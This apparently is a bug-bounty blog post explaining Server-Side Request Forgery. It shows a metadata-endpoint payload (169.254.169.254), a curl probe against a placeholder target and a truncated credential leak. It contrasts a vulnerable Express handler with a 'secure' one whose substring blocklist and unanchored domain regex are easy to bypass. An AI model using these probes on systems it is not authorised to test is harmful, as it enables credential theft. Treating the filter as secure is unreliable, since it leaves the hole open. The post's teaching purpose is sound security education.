Dec 29, 2025

What is SSRF? The Simple Explanation

Server-Side Request Forgery (SSRF) occurs when a web application fetches resources from URLs you control, potentially accessing internal systems it shouldn't.

Think of it this way:

You → Website → "Fetch this URL for me" → Internal AWS/Database/Admin Panel

The website acts as your proxy, making requests from its trusted internal position.

Real Healthcare Example

During testing a healthcare platform, I discovered:

Normal request: /api/image?url=https://logo.com/image.png ✅
SSRF exploit:   /api/image?url=http://169.254.169.254/latest/meta-data/ 💥

The response leaked:

{
  "AccessKeyId": "ASIAX7ABC123...",
  "SecretAccessKey": "wJalrXU...",
  "Token": "..."
}

![SSRF Response Leak]( SSRF Commonly Appears

SSRF loves these endpoints:

• /image?url=
• /fetch?url=
• /webhook?url=
• /proxy?url=
• /api/render?url=

Pro Tip: Any ?url= parameter deserves SSRF testing.

Test It in 30 Seconds

curl "https://target.com/api/fetch?url=http://169.254.169.254/latest/meta-data/"

Look for: AWS metadata, internal IPs, or unusual delays → Critical vulnerability confirmed.

Why SSRF is So Dangerous

When successful, SSRF provides access to:

1. Cloud Credentials (AWS/GCP/Azure metadata) 2. Internal Admin Panels (localhost services) 3. Sensitive Databases (internal network resources) 4. Network Mapping (port scanning internals)

One SSRF = Complete infrastructure compromise.

The Vulnerable Code Pattern

// ❌ Vulnerable
app.get('/api/fetch', async (req, res) => {
  const response = await fetch(req.query.url);
  res.send(await response.text());
});
javascript
// ✅ Secure
app.get('/api/fetch', async (req, res) => {
  const url = req.query.url;
  
  // Block dangerous destinations
  const blockedIPs = ['127.0.0.1', '169.254.169.254', '10.', '192.168.'];
  if (blockedIPs.some(ip => url.includes(ip))) {
    return res.status(400).json({ error: 'Invalid URL' });
  }
  
  // Whitelist allowed domains only
  if (!url.match(/^https:\/\/(yourdomain\.com|cdn\.com)/)) {
    return res.status(400).json({ error: 'URL not allowed' });
  }
  
  const response = await fetch(url);
  res.send(await response.text());
});

Essential Security Checklist

✅ Block private IPs: 127.0.0.1, 169.254.169.254, 10.0.0.0/8
✅ Whitelist allowed domains only
✅ Never trust user-supplied URLs
✅ Disable redirect following
✅ Validate response content

Why Companies Pay Big for SSRF

💰 Typical bounties: $5,000 - $50,000+
💰 Healthcare + Cloud = Critical severity
💰 Often chains to RCE/data exposure
💰 5-minute discovery time

Start Hunting Today

Step 1: Run your recon → find URL parameters Step 2: Test http://169.254.169.254/latest/meta-data/ Step 3: Document + report → Get paid